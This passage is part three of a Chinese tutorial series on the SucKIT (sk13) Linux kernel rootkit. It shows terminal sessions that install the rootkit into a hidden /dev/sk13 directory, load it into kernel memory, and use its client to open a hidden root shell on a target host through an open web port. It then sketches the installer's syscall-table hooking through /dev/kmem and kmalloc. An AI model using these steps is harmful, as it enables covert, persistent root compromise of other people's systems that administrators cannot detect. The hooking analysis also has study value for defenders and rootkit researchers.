缩水版 Linux后门系列--由浅入深sk13完全分析( 三 )


生成了一个安装文件,是一个shell脚本,他会自动安装后门的 。我们直接执行他就可以安装了


以下是代码片段:
tthacker@wzt:~/sk# ./inst
Your home is /dev/sk13, go there and type ./sk to install
us into memory. Have fun!

我们的home目录就在/dev/sk13了,以后我们的相关的程序就都放这里好了,隐藏的,管理员看不见 :)
以下是代码片段:
tthacker@wzt:~/sk# cd /dev/sk13
tthacker@wzt:/dev/sk13# ./sk
RK_Init: idt=0xffc18000

嘿嘿,安装完毕,我们现在可以使用客户端登录了,客户端在编译sk的时候也一同生成了的,我们一起看看,很爽的,只要对方开放了任何一个TCP端口,我们就可以通过这个端口进入系统,权限是root哦 。

以下是代码片段:
tthacker@wzt:~/sk# ./login
/dev/null
use:
./login [hsditc] ...args
-h Specifies ip/hostname of host where is running
suckitd
-s Specifies port where we should listen for incoming
server" connection (if some firewalled etc), if not
specified, we"ll get some from os
-d Specifies port of service we could use for authentication
echo, telnet, ssh, httpd... is probably good choice
-i Interval between request sends (in seconds)
-t Time we will wait for server before giving up (in seconds)
-c Connect timeout (in seconds)

tthacker@wzt:~/sk# ./login -h 192.168.1.1 -d
/dev/null
Listening to port 43544
password:
Trying 192.168.1.1:80 ... -->嘿嘿,开了80我们也照进 。
Trying...Et voila
Server connected. Escape character is "^K"
/dev/null
[tthacker@localhost sk13]# -->yeah
我们进来了,我们在这个环境里执行的任何程序的进程,开放的任何端口,管理员都看不到的,不过千万别删除别搞破坏啊 。;

知其然,知其所以然,我们一起从代码级别仔细剖析这个超级强大的sk吧 。

四、install.c执行流程

sk的优点我们就介绍完了,那么到底它这么强悍的功能是如何实现的呢?最近我在分析sk2的代码,对它的hook原理还不是很清楚 。于是就想看看sk13b的hook方法和它有什么区别,没准还能多给我一些提示呢 。于是翻出了sk13b代码分析了通,hook原理与sk2的真不相同 。
如作者所说,sk13b把系统中一些不经常用的系统调用替换为kmalloc()的地址,然后给那个系统调用传递kmalloc的参数,就可以在内核空间为sk分配空间了 。为了学习我把分析过程写出来,如果有什么不对的地方,欢迎斧正 。

install()函数的功能是为kernel.c做初始化整备,并把sk装载到内存中 。这也是sk hook原理最精华的部分了 。
首先得到idt表的地址,然后得到int 0x80中断描述符的地址,通过读kmem把其int 0x80中断描述符的内容到idt80结构中,然后提取出system_call在系统中的实际地址,在通过get_sct函数得到sys_call_table的地址 。用kmalloc的地址,替换oldolduname系统调用的入口地址,在利用kmalloc在内核为sk分配空间 。
最后转向kernel.c继续执行 。

上述可能忽略了很多具体的细节,我将在第3部分给出详细的解析 。

推荐阅读